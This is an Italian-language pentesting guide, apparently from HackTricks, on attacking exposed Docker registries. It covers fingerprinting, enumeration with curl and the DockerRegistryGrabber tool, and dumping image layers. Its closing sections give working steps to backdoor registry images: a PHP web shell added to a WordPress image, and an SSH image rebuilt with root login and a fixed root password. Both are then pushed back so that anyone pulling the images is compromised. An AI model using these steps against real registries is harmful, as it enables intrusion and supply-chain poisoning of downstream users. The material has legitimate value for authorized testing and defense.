15 KiB
5000 - Pentesting Docker Registry
Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Informazioni di Base
Un sistema di archiviazione e distribuzione noto come registro Docker è in atto per le immagini Docker che sono nominate e possono essere presenti in più versioni, distinte dai tag. Queste immagini sono organizzate all'interno dei repository Docker nel registro, ciascun repository memorizza varie versioni di un'immagine specifica. La funzionalità fornita consente di scaricare le immagini localmente o caricarle nel registro, a condizione che l'utente abbia le autorizzazioni necessarie.
DockerHub funge da registro pubblico predefinito per Docker, ma gli utenti hanno anche l'opzione di utilizzare una versione on-premise del registro/distribuzione Docker open-source o optare per il Docker Trusted Registry supportato commercialmente. Inoltre, sono disponibili vari altri registri pubblici online.
Per scaricare un'immagine da un registro on-premise, viene utilizzato il seguente comando:
docker pull my-registry:9000/foo/bar:2.1
Questo comando recupera l'immagine foo/bar
nella versione 2.1
dal registro on-premise nel dominio my-registry
sulla porta 9000
. Al contrario, per scaricare la stessa immagine da DockerHub, specialmente se 2.1
è l'ultima versione, il comando si semplifica in:
docker pull foo/bar
Porta predefinita: 5000
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
Scoperta
Il modo più semplice per scoprire che questo servizio è in esecuzione è ottenerlo sull'output di nmap. Tuttavia, nota che essendo un servizio basato su HTTP potrebbe essere dietro a proxy HTTP e nmap potrebbe non rilevarlo.
Alcune impronte:
- Se accedi a
/
non viene restituito nulla nella risposta - Se accedi a
/v2/
viene restituito{}
- Se accedi a
/v2/_catalog
potresti ottenere: {"repositories":["alpine","ubuntu"]}
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
Enumerazione
HTTP/HTTPS
Il registro Docker potrebbe essere configurato per utilizzare HTTP o HTTPS. Quindi la prima cosa che potresti dover fare è scoprire quale è stato configurato:
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
Autenticazione
Il registro Docker potrebbe essere configurato per richiedere autenticazione:
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
Se il Docker Registry richiede l'autenticazione, puoi provare a forzarla usando questo.
Se trovi credenziali valide, dovrai utilizzarle per enumerare il registro, in curl
puoi usarle in questo modo:
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
Enumerazione usando DockerRegistryGrabber
DockerRegistryGrabber è uno strumento python per enumerare / dumpare il registro Docker (senza o con autenticazione di base)
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
____ ____ ____
| _ \ | _ \ / ___|
| | | || |_) || | _
| |_| || _ < | |_| |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu
positional arguments:
url URL
options:
-h, --help show this help message and exit
-p port port to use (default : 5000)
Authentication:
-U USERNAME Username
-P PASSWORD Password
-A header Authorization bearer token
Actions:
--list
--dump_all
--dump DOCKERNAME DockerName
Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
Enumerazione usando curl
Una volta ottenuto l'accesso al registro docker, ecco alcuni comandi che puoi utilizzare per enumerarlo:
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
{% hint style="warning" %} Nota che quando scarichi e decomprimi i file blob, compariranno file e cartelle nella directory corrente. Se scarichi tutti i blob e li decomprimi nella stessa cartella sovrascriveranno i valori dei blob decompressi precedentemente, quindi fai attenzione. Potrebbe essere interessante decomprimere ogni blob all'interno di una cartella diversa per ispezionare il contenuto esatto di ciascun blob. {% endhint %}
Enumerazione usando docker
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
Creazione di un backdoor nell'immagine di WordPress
Nel caso in cui tu abbia trovato un Docker Registry che salva un'immagine di WordPress, puoi inserire un backdoor.
Crea il backdoor:
{% code title="shell.php" %}
<?php echo shell_exec($_GET["cmd"]); ?>
{% endcode %}
Crea un Dockerfile:
{% code title="Dockerfile" %}
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
{% endcode %}
Creare la nuova immagine, verificare che sia stata creata e pusharla:
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
Installazione di un backdoor nell'immagine del server SSH
Supponiamo di aver trovato un Registro Docker con un'immagine SSH e si desidera installarvi un backdoor.
Scaricare l'immagine e eseguirla:
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
Estrai il file sshd_config
dall'immagine SSH:
docker cp 4c989242c714:/etc/ssh/sshd_config .
E modificarlo per impostare: PermitRootLogin yes
Crea un Dockerfile come il seguente:
```bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd ``` **Creare** la nuova immagine, **verificare** che sia stata creata e **pusharla**: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` ## Riferimenti * [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione esclusiva di NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.